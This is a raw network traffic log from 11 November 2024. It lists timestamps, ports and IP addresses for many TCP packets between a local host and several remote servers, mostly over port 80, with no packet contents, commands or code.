Nov 11, 2024 12:40:29.679610014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679624081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679636002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679641008 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679646969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679651976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679660082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679673910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679678917 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679683924 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679696083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679704905 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679709911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679721117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679723024 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679735899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679748058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679754019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679759979 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679773092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679779053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679790020 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679792881 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679805994 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679806948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679821968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679832935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679838896 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679843903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679858923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679863930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679873943 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679876089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679888964 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679898977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679900885 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679915905 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679939032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679949045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679949999 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679972887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679975033 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.679985046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679997921 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.679997921 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680020094 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680041075 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680054903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680066109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680078983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680089951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680097103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680100918 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680114031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680134058 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680141926 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680150986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680162907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680172920 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680182934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680190086 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680197001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680210114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680217028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680222034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680234909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680243969 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680246115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680255890 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680258989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680270910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680283070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680285931 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680294037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680311918 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680315018 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680322886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680332899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680336952 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680360079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680372000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680377960 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680385113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680399895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680408955 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680413008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680427074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680429935 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680438042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680449009 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680480957 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680530071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680541992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680552959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680573940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680599928 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680612087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680624008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680634022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680649042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680660963 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680660963 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680674076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680680990 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680701971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680727959 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680737972 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680748940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680758953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680773020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680777073 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680785894 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680797100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680808067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680814981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680826902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680829048 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680831909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680839062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680850029 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680866003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680866957 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680879116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680887938 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680890083 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680897951 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680902958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680915117 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680926085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680927992 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680938005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680953026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680958033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680969954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680970907 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.680982113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.680996895 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681016922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681025028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681030035 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681042910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681062937 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681090117 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681124926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681135893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681147099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681154966 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681159973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681180954 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681211948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681265116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681358099 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681440115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681452036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681462049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681471109 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681473970 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681485891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681488991 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681497097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681503057 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681516886 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681519985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681533098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681536913 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681544065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681552887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681556940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681570053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681580067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681581974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681595087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681607962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681608915 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681619883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681627989 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681643963 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681670904 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681674957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681684971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681694031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681706905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681715012 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681724072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681724072 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681735992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681742907 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681750059 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681757927 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681761980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681775093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681781054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681786060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681793928 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681797981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681813002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681821108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681823969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681835890 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681838036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681857109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681860924 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681869030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681880951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681891918 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681894064 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681906939 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681910038 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681921959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681931973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681936026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681951046 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681962013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681972027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681973934 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681983948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.681984901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.681998014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682008982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682013035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682020903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682033062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682048082 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682048082 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682049036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682065010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682075024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682075977 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682087898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682101965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682111025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682111979 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682121992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682132959 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682136059 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682153940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682159901 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682167053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682176113 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682178974 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682193041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682204008 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682207108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682216883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682230949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682239056 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682241917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682259083 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682280064 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682305098 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682317019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682326078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682337999 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682391882 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682410955 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682427883 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682440042 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682451010 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682460070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682471037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682481050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682485104 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682492971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682502985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682513952 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682521105 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682528019 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682533026 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682539940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682547092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682559013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682569027 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682570934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682584047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682598114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682612896 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682626009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682637930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682645082 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682650089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682656050 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682662010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682683945 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682691097 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682706118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682717085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682728052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682739019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682746887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682749987 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682760000 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682790041 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682873011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682893991 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682905912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682912111 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682918072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.682936907 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682961941 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.682991028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.683003902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.683016062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.683027983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.683038950 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.683041096 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.683063984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.683073997 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.691333055 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.697056055 CET	49913	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.697076082 CET	443	49913	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.697504997 CET	49914	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.697520971 CET	443	49914	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.697544098 CET	49913	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.697573900 CET	49914	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.698560953 CET	49915	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.698568106 CET	443	49915	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.698637962 CET	49915	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.700465918 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.702397108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.714777946 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.715713024 CET	49916	443	192.168.2.6	23.33.40.146
Nov 11, 2024 12:40:29.715751886 CET	443	49916	23.33.40.146	192.168.2.6
Nov 11, 2024 12:40:29.715816021 CET	49916	443	192.168.2.6	23.33.40.146
Nov 11, 2024 12:40:29.716376066 CET	49917	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.716402054 CET	443	49917	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.716456890 CET	49917	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.719670057 CET	49918	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.719717979 CET	443	49918	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.719784975 CET	49918	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.719924927 CET	49917	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.719943047 CET	443	49917	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.720566988 CET	49913	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.720578909 CET	443	49913	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.720659971 CET	49918	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.720671892 CET	443	49918	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.721398115 CET	49914	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.721415997 CET	443	49914	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.721513987 CET	49915	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.721523046 CET	443	49915	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.727210999 CET	80	49827	185.215.113.206	192.168.2.6
